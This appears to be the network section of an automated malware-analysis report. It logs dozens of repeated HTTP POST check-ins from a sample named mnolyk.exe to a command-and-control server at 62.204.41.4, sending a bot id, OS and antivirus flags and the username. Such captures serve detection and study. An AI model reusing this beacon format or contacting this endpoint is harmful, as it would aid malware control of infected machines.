Feb 6, 2023 18:36:10.512878895 CET	485	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:10.578663111 CET	485	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
530	192.168.2.7	50258	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:21.134136915 CET	990	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:21.199671030 CET	990	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
531	192.168.2.7	50259	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:21.378413916 CET	991	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:21.441360950 CET	991	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
532	192.168.2.7	50260	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:21.613962889 CET	992	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:21.679806948 CET	992	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
533	192.168.2.7	50261	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:21.845479965 CET	993	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:21.910104036 CET	993	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
534	192.168.2.7	50262	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:22.083151102 CET	994	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:22.147461891 CET	994	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
535	192.168.2.7	50263	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:22.311707973 CET	995	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:22.375593901 CET	995	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
536	192.168.2.7	50264	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:22.550322056 CET	996	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:22.616416931 CET	996	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
537	192.168.2.7	50265	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:22.792860985 CET	997	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:22.857007980 CET	997	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
538	192.168.2.7	50266	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:23.033535004 CET	998	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:23.100374937 CET	998	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
539	192.168.2.7	50267	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:23.274291992 CET	999	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:23.339706898 CET	999	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
54	192.168.2.7	49778	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:10.754395962 CET	486	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:10.817142010 CET	486	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
540	192.168.2.7	50268	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:23.521301031 CET	1000	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:23.585572958 CET	1000	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
541	192.168.2.7	50269	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:23.765845060 CET	1001	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:23.828995943 CET	1001	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
542	192.168.2.7	50270	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:23.999396086 CET	1002	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:24.064944983 CET	1002	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
543	192.168.2.7	50271	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:24.266112089 CET	1003	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:24.329607010 CET	1003	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
544	192.168.2.7	50272	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:24.734925032 CET	1004	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:24.798865080 CET	1004	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
545	192.168.2.7	50273	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:25.058834076 CET	1005	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:25.124984980 CET	1005	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
546	192.168.2.7	50274	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:25.337790966 CET	1006	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:25.402496099 CET	1006	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
547	192.168.2.7	50275	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:26.060580015 CET	1007	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:26.127399921 CET	1007	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
548	192.168.2.7	50276	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:26.300126076 CET	1008	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:26.364619017 CET	1008	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
549	192.168.2.7	50277	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:27.380412102 CET	1009	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
